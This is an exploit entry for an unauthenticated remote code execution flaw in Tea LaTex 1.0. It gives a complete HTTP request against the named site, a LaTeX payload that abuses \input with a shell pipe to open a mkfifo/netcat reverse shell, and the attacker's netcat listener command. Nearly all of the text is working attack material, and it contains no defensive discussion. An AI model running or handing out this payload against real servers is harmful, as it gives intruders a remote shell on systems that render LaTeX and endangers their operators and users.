Tea LaTex 1.0 Remote Code Execution

`# Exploit Title: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)  
# Google Dork: N/A  
# Date: 2020-09-01  
# Exploit Author: nepska  
# Vendor Homepage: https://github.com/ammarfaizi2/latex.teainside.org  
# Software Link: https://github.com/ammarfaizi2/latex.teainside.org  
# Version: v1.0  
# Tested on: Kali linux / Windows 10  
# CVE: N/A  
  
  
# Header Requests  
  
POST /api.php?action=tex2png HTTP/1.1  
Host: latex.teainside.org  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0  
Accept: */*  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: text/plain;charset=UTF-8  
Content-Length: 64  
Origin: https://latex.teainside.org  
DNT: 1  
Connection: keep-alive  
Referer: https://latex.teainside.org/  
Cookie: __cfduid=d7e499dd5e2cf708117e613f7286aa2021599260403  
  
  
{"content":"\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}","d":200,"border":"50x20","bcolor":"white"}  
  
  
  
  
# Payload   
  
\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}  
  
  
# Attacker   
  
nc -lvp 1234  
`